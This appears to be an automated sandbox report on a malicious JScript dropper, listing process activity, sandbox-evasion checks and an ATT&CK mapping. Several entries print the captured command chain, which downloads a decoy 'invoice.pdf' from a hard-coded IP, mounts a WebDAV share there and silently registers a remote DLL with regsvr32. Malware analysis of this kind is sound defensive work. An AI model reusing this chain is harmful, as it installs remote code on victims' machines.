Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6532.js.csv");ITextStream.WriteLine(" entry:8505 f:rytgp");ITextStream.WriteLine(" exec:2 f:rytgp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4247			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5623			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep count: 4247 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep count: 5623 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4580	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7700	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net.exe, 00000007.00000003.1544561070.0000021DE0F36000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1547254013.0000021DE0ED8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1549704736.0000021DE0F36000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2750110621.0000024D5B054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2748720898.0000024D55A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`G
Source: wscript.exe, 00000000.00000002.1464060188.000001F798E19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
